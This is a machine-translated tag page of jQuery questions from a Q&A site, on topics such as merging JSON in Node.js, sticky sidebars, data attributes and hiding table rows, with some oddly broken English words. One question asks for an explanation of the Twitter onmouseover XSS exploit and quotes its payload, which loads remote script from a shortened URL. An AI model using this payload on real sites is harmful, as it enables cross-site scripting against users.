Tag: jQuery

在没有jQuery的情况下,在node.js上合并或合并JSON

我有这样的多个JSON var object1 = {name: "John"}; var object2 = {location: "San Jose"}; 他们不是嵌套或类似的东西。 基本上不同的领域。 我需要在node.js中将它们合并为一个JSON ,如下所示: {name: "John", location: "San Jose"} 我可以使用jQuery就好了。 这是浏览器中的一个工作示例: http://jsfiddle.net/qhoc/agp54/ 但是,如果我在node.js中这样做,我不想加载jQuery(这是有点过度使用,再加上node.js'jQuery不能在我的Windows机器上工作)。 那么有没有一种简单的方法来做类似于没有jQuery的 $.extend() ?

使用jQuery,如何在文本字段的第一个字母大写,而用户仍在编辑该字段?

我正在寻找一个如何大写input到文本字段的string的第一个字母的例子。 通常情况下,这是在整个领域完成一个函数,正则expression式, OnBlur , OnChange等,我想大写的第一个字母,而用户仍然在打字。 例如,如果我input单词“猫”,用户应该按“c”,然后在按“a”的时候,C应该在字段中大写。 我想我可能会用keyup或keypress但我不知道从哪里开始。 任何人都有我的例子吗?

粘滞边栏:向下滚动时贴在底部,向上滚动时贴在顶部

我一直在寻找一些解决我的粘滞边栏问题的时间。 我有一个特定的想法,我希望如何行动; 有效地,当你向下滚动时,我希望它坚持到底部,然后当你向后滚动时,我想它会以stream畅的运动(不跳跃)粘到顶部。 我无法find我想要达到的一个例子,所以我创造了一个我希望能够更清楚地表明这一点的图像: 侧栏位于标题下。 在向下滚动时,侧边栏与页面的内容保持水平,以便您可以滚动浏览侧边栏和内容。 到达侧边栏的底部,侧边栏粘贴到视口的底部(大多数插件只允许粘贴到顶部,有些粘贴到底部不允许)。 触及底部,侧边栏位于页脚上方。 当您向后滚动时,侧边栏与内容保持水平,因此您可以再次滚动内容和边栏。 到达侧栏的顶部,侧栏粘贴到视口的顶部。 到达顶部和侧边栏位于标题下方。 我希望这是足够的信息。 我创build了一个jsfiddle来testing任何插件/脚本,我已经重置了这个问题: http : //jsfiddle.net/jslucas/yr9gV/2/ . 非常感谢,如果有人有我的解决scheme。

获取数据属性的jQuery与JavaScript

我有一个默认设置的自定义数据属性: data-equipment="0" 如果我改变它与jQuery使用.data() $(this).data("equipment", 10) 然后使用getAttribute() this.getAttribute("data-equipment") 我得到旧的价值(0),而不是新的(10)。 但是,如果我使用 $(this).data("equipment")我得到新值(10)。 这应该是这样的工作,还是我错过了什么? 谢谢!

jQuery在.trigger()和.click()中的优势/差异

在性能方面,以下两者之间的收益(或差异)是什么? $('.myEl').click(); 和 $('.myEl').trigger('click'); 有没有呢?

twitter.com上今天的XSS onmouseover漏洞利用

你能解释一下今天在Twitter上发生了什么? 基本上这个漏洞使人们发布一条包含这个链接的推文: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ 这在技术上是XSS攻击还是其他? 以下是Twitter主页的样子: http : //www.flickr.com/photos/travelist/6832853140/

首选客户端路由解决scheme?

我正在devise一个基于单页浏览器的Web应用程序。 JQuery已经在我的应用程序中使用了。 我目前正在计划使用KnockoutJS进行数据绑定和UIpipe理。 但是我过去使用过Backbone.js ,而且我对控制层提供的路由function印象非常深刻。 我还研究了一些基于JQuery的解决scheme,如pathjs,用于客户端路由。 如果有人能够为select合适的路由系统提供build议和指导,那将是非常好的。 由于KnockoutJS优秀的数据绑定function,我不愿意使用Backbone.js代替KnockoutJS 。

更改jQuery UIbutton大小?

我一直在我的页面上使用jQuery的UIbutton,但是我还没有find解决方法似乎是一个简单的问题。 我想让我的一些button比另一个小,这应该像设置button文本的CSS一样简单,如font: .8em; 不过,jQuery UI需要你的DOM元素并包装它: <button class="ui-button ui-button-text-only ui-widget ui-state-default ui-corner-all"> <span class="ui-button-text">Button Label</span> </button> 所以,如果我有一个<button class="small-button">Small button!</button> jQuery将文本放置在一个子范围内。 给small-button类的任何字体都将被忽略。 要解决这个问题,不要在jQuery如何制作button上进行攻击。 有任何想法吗?

我可以使用bootstrap 3和jQuery Mobile吗?

我读过许多“引导与jQuery手机”的文章。 很明显,他们都有不同的目标。 那么结合他们呢? 除此之外,我喜欢bootstrap的响应式布局function。 另一方面,我也喜欢“页面”方法和jQuery移动(包括滑动事件等)和转换的可能性。 有没有专业项目相结合? 还是有人试图这样做,失败? 我知道与jQuery Mobile使用Bootstrap看起来像一个类似的问题,但它是过时的(引用引导2)。

如何使用jQuery隐藏表格的中间?

我有一个很长的3列表。 我想要 <table> <tr><td>Column1</td><td>Column2</td></tr> <tr><td>Column1</td><td>Column2</td></tr> <tr><td>Start</td><td>Hiding</td></tr> <tr><td>Column1</td><td>Column2</td></tr> <tr><td>Column1</td><td>Column2</td></tr> <tr><td>Column1</td><td>Column2</td></tr> <tr><td>End</td><td>Hiding</td></tr> <tr><td>Column1</td><td>Column2</td></tr> <tr><td>Column1</td><td>Column2</td></tr> </table> 这是我试图获得使用jQuery的结果。 Column1 Column2 Column1 Column2 …Show Full Table… Column1 Column2 Column1 Column2 我想使用jQuery的显示/隐藏function,尽量减less表,但仍然显示顶部和底部行的一部分。 中间的行应该replace为“Show Full Table”(显示完整表格)之类的文本,点击的时候会展开,从头到尾显示完整的表格。 在jQuery中做这件事的最好方法是什么? 顺便说一句我已经尝试添加一个类“Table_Middle”的一些行,但它并没有完全隐藏它占据的空间仍然存在,我没有文字给用户一种方法来扩大表充分。 [编辑]添加工作示例HTML启发Parand的张贴答案 下面的例子是一个完整的工作示例,你甚至不需要下载jQuery。 只需粘贴到一个空白的HTML文件。 如果Javascriptclosures,它会很好地降低显示全表。 如果Javascript处于打开状态,则会隐藏中间的表格行并添加显示/隐藏链接。 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>Example Show/Hide Middle rows of a table using jQuery</title> <script src="http://code.jquery.com/jquery-latest.js"></script> <script type="text/javascript"> […]